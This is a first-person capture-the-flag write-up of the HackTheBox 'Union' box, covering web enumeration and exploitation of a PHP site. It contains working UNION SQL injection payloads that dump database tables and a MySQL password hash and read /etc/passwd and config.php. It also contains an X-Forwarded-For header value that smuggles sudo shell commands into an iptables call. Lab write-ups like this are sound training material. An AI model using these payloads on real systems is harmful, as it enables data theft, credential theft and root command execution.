INFO

I joined the Discord server for the team I worked on this with ~35 minutes late, as I was having trouble setting up the HackTheBox VPN (the solution was to change my VPN region to EU, then back to US, and then re-download the .ovpn file), and then didn’t have the right invite link!

Anyways, this was my first box in a long time, and boy am I rusty!

The target IP is 10.129.202.139 (at least initially). The index.php page seems to accept any input (player=foo), and directs the “player” to the challenge.php page. There’s a single-element form here, but it doesn’t seem to do anything on submission (flag=bar)?

Running gobuster to try to enumerate potentially common directories:

gobuster -t 50 dir -u http://10.129.202.139 -w /usr/share/wordlists/dirb/common.txt

Results:

/css       → /css/
/index.php

Not much help there. Let’s try the same thing with some common extensions:

gobuster -t 50 dir -u http://10.129.202.139 \
         -w /usr/share/wordlists/dirb/common.txt \
         -x .php,.html,.htm,.txt,.md,.js,.css

Results:

/config.php
/css          → /css/
/firewall.php
/index.php

A general reminder about how to use gobuster.

The /config.php and /firewall.php files look interesting!

  • /config.php just returns a zero-length document. Booo!
  • /firewall.php just returns Access Denied .

Alright, let’s try Nmap:

sudo nmap -v -oN union -Pn -A --reason -T4 -p- 10.129.202.139

Output:

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-27 19:24 MDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating NSE at 19:24
Completed NSE at 19:24, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 19:24
Completed Parallel DNS resolution of 1 host. at 19:24, 0.02s elapsed
Initiating SYN Stealth Scan at 19:24
Scanning 10.129.202.139 [65535 ports]
Discovered open port 80/tcp on 10.129.202.139
SYN Stealth Scan Timing: About 21.06% done; ETC: 19:26 (0:01:56 remaining)
SYN Stealth Scan Timing: About 55.83% done; ETC: 19:26 (0:00:48 remaining)
Completed SYN Stealth Scan at 19:25, 91.51s elapsed (65535 total ports)
Initiating Service scan at 19:25
Scanning 1 service on 10.129.202.139
Completed Service scan at 19:26, 6.12s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 10.129.202.139
Retrying OS detection (try #2) against 10.129.202.139
Initiating Traceroute at 19:26
Completed Traceroute at 19:26, 0.07s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 19:26
Completed Parallel DNS resolution of 2 hosts. at 19:26, 0.02s elapsed
NSE: Script scanning 10.129.202.139.
Initiating NSE at 19:26
Completed NSE at 19:26, 5.07s elapsed
Initiating NSE at 19:26
Completed NSE at 19:26, 0.22s elapsed
Initiating NSE at 19:26
Completed NSE at 19:26, 0.00s elapsed
Nmap scan report for 10.129.202.139
Host is up, received user-set (0.058s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (94%), Linux 4.15 - 5.6 (92%), Linux 5.0 - 5.4 (91%), Linux 5.3 - 5.4 (91%), Linux 5.0 (90%), Linux 5.0 - 5.3 (90%), Linux 5.4 (90%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 27.153 days (since Fri Mar 31 15:46:21 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   63.08 ms 10.10.14.1
2   63.24 ms 10.129.202.139

NSE: Script Post-scanning.
Initiating NSE at 19:26
Completed NSE at 19:26, 0.00s elapsed
Initiating NSE at 19:26
Completed NSE at 19:26, 0.00s elapsed
Initiating NSE at 19:26
Completed NSE at 19:26, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.94 seconds
           Raw packets sent: 131215 (5.777MB) | Rcvd: 251 (19.772KB)

Well, that’s less than helpful; we already knew that there was a web server running on port 80 (and there’s nothing else).

Okay, let’s try fuzzing the two pages with Burp Suite and see what we get! Interesting observations…

  • /index.php
    1. Submitting hexadecimal numbers for player (for example, 0x0 or 0xabad1dea) result in only the first half of the normal response, without any HTML or the /challenge.php link.
    2. You can insert any HTML you’d like, and it gets rendered back in the page.
    3. Inputs always seem to be lower-cased before they’re returned.
    4. ' OR 1=1 -- 1 and ' OR '1'='1 are also missing the second half of the response, like the 0x numbers. So maybe we have SQL injection?
  • /challenge.php returns nothing interesting…

(I really need a more targeted fuzzing list than the “big list of naughty strings”, as the free version of Burp Suite throttles Intruder so much that this list takes over 30 minutes to process!)

(Also, be sure to look at the response in Raw mode to avoid going down bunny trails about formatting changes that ​don’t actually exist in the server response​!)

Okay, so not many clues at this point. SQL injection might be a thing, but the behavior with hexadecimal numbers is… Odd.

So, here I’m going to “cheat” a bit. I know from the discussion on Discord that SQL injection is a thing for this box, and is, in fact, how you get the first flag. So even though my evidence at this point is circumstantial/weak, I’m going to go that route.

Since ' OR 1=1 -- 1 gave us something interesting, let’s send /index.php to Repeater and see what some other values for player do for us…

  1. ' UNION SELECT '>>>STUFF<<<' -- 1 returns >>>STUFF<<< for the user name!
  2. ' UNION SELECT @@datadir -- 1 returns /var/lib/mysql, so we’re dealing with MySQL.
  3. ' UNION SELECT schema_name FROM information_schema.schemata -- 1 returns mysql … Which isn’t right. It looks like only a single row (probably the last one, given that we only see one row with UNION ) is returned.
  4. ' UNION SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 0 -- 1 also returns mysql … But using OFFSET 1 returns information_schema , so I guess we’ll just do it this way. Iterating, we also see databases called performance_schema , sys , and november . All of these are standard MySQL databases except for november .
  5. ' UNION SELECT database() -- 1 confirms that we’re in the november database.
  6. ' UNION SELECT table_name FROM information_schema.tables WHERE table_schema != 'november' LIMIT 1 OFFSET 0 -- 1 returns flag , and iterating reveals a second table players . There doesn’t seem to be anything else. The flag table looks promising, so let’s see what’s there.
  7. ' UNION SELECT column_name FROM information_schema.columns WHERE table_schema = 'november' and table_name = 'flag' LIMIT 1 OFFSET 0 -- 1 (and iterating) reveals that there’s a single column called one .
  8. ' UNION SELECT COUNT(*) FROM flag -- 1 reveals that there’s only a single row in flag . Easy!
  9. ' UNION SELECT one FROM flag -- 1 then provides a “flag” value.

(The above is made possible using this handy SQL injection cheat-sheet for MySQL.)

Now, as it turns out, this is not a flag for the box! Instead, inputting it into /challenge.php generates the message that Your IP Address has now been granted SSH Access.

Let’s confirm…

sudo nmap -v -oN union2 -Pn -A --reason -T4 -p- 10.129.202.139

Output:

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-27 21:16 MDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:16
Completed NSE at 21:16, 0.00s elapsed
Initiating NSE at 21:16
Completed NSE at 21:16, 0.00s elapsed
Initiating NSE at 21:16
Completed NSE at 21:16, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 21:16
Completed Parallel DNS resolution of 1 host. at 21:16, 0.01s elapsed
Initiating SYN Stealth Scan at 21:16
Scanning 10.129.202.139 [65535 ports]
Discovered open port 22/tcp on 10.129.202.139
Discovered open port 80/tcp on 10.129.202.139
Completed SYN Stealth Scan at 21:17, 35.32s elapsed (65535 total ports)
Initiating Service scan at 21:17
Scanning 2 services on 10.129.202.139
Completed Service scan at 21:17, 6.12s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.129.202.139
Retrying OS detection (try #2) against 10.129.202.139
Retrying OS detection (try #3) against 10.129.202.139
Retrying OS detection (try #4) against 10.129.202.139
Retrying OS detection (try #5) against 10.129.202.139
Initiating Traceroute at 21:17
Completed Traceroute at 21:17, 0.06s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 21:17
Completed Parallel DNS resolution of 2 hosts. at 21:17, 0.01s elapsed
NSE: Script scanning 10.129.202.139.
Initiating NSE at 21:17
Completed NSE at 21:17, 1.73s elapsed
Initiating NSE at 21:17
Completed NSE at 21:17, 0.27s elapsed
Initiating NSE at 21:17
Completed NSE at 21:17, 0.02s elapsed
Nmap scan report for 10.129.202.139
Host is up, received user-set (0.054s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ea8421a3224a7df9b525517983a4f5f2 (RSA)
|   256 b8399ef488beaa01732d10fb447f8461 (ECDSA)
|_  256 2221e9f485908745161f733641ee3b32 (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/27%OT=22%CT=1%CU=31913%PV=Y%DS=2%DC=T%G=Y%TM=644B3AD
OS:9%P=aarch64-unknown-linux-gnu)SEQ(SP=100%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS
OS:=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O3=M550NNT11NW7%O4=M550ST11NW7%O5=M
OS:550ST11NW7%O6=M550ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE
OS:88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M550NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)

Uptime guess: 27.230 days (since Fri Mar 31 15:46:20 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
HOP RTT      ADDRESS
1   56.02 ms 10.10.14.1
2   56.12 ms 10.129.202.139

NSE: Script Post-scanning.
Initiating NSE at 21:17
Completed NSE at 21:17, 0.00s elapsed
Initiating NSE at 21:17
Completed NSE at 21:17, 0.00s elapsed
Initiating NSE at 21:17
Completed NSE at 21:17, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.07 seconds
           Raw packets sent: 66144 (2.914MB) | Rcvd: 65710 (2.632MB)

So, we definitely have an open SSH port now! But what user to use?

Maybe there’s password re-use with MySQL? Let’s see what we’ve got:

  1. ' UNION SELECT COUNT(*) FROM mysql.user -- 1 shows that we have 6 users.
  2. ' UNION SELECT user FROM mysql.user LIMIT 1 OFFSET 0 -- 1 (and iterating) shows that these users are debian-sys-maint, mysql.infoschema, mysql.session, mysql.sys, root, and uhc. Both root and uhc look promising.
  3. ' UNION SELECT host FROM mysql.user WHERE user = 'root' -- 1 (and uhc) shows that both are permitted to login from localhost (though that may not mean anything, since this is just database access).
  4. ' UNION SELECT authentication_string FROM mysql.user WHERE user = 'root' -- 1 (and uhc) reveals that root doesn’t have a password, but uhc does have a password hash. (Apparently there’s no password column in the mysql.users table anymore; it’s now called authentication_string per the documentation.)

Unfortunately, it turns out that we can’t just feed this hash into john or Hashcat, but need to massage things a bit first.

  1. First, we use ​' UNION SELECT CONCAT('$mysql',LEFT(authentication_string,6),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) FROM mysql.user WHERE user = 'uhc'​ to get a string that Hashcat can handle.
  2. Then we run hashcat -m 7401 -O hash.txt rockyou.txt.

But, this is going to take a loooong time… So, I tried a few other things:

  • There’s 6 users in the players table, but none of them work as passwords (or alternate user names).
  • ' UNION SELECT LOAD_FILE('/etc/passwd') -- 1 displays the password file, but I can’t access /etc/shadow, so it doesn’t look like we’re running as root.
  • But we can look at other files, including /config.php! And it turns out that there’s a cleartext password there that we can read with ' UNION SELECT LOAD_FILE('/var/www/html/config.php') -- 1 : uhc-11qual-global-pw. ​This works to log in as the uhc user!

The first flag is then in the user.txt file in /home/uhc.

Unfortunately, uhc isn’t in the sudoers file, and there’s no obviously vulnerably SUID binaries or files with loose permissions.

But…

If you run ' UNION SELECT LOAD_FILE('/var/www/html/firewall.php') -- 1 , you’ll see that the web server has sudo access, and uses it to make a call to iptables using the value of either the X-Forwarded-For or Remote-Host headers. And since this call is just a concatenation of the value of this header wrapped in PHP’s system() call, that means I can insert whatever I want. For example, setting

X-Forwarded-For: 127.0.0.1 -j ACCEPT; sudo ls -la /root ; echo

lists the contents of the /root directory, revealing the standard /root/root.txt flag file. And thus

X-Forwarded-For: 127.0.0.1 -j ACCEPT; sudo cat /root/root.txt ; echo

will return the contents of that file.

Which just so happens to be the ​second flag​.

(Really, I should have used this trick to get both flags…)

Elapsed Time: 4 h 6 min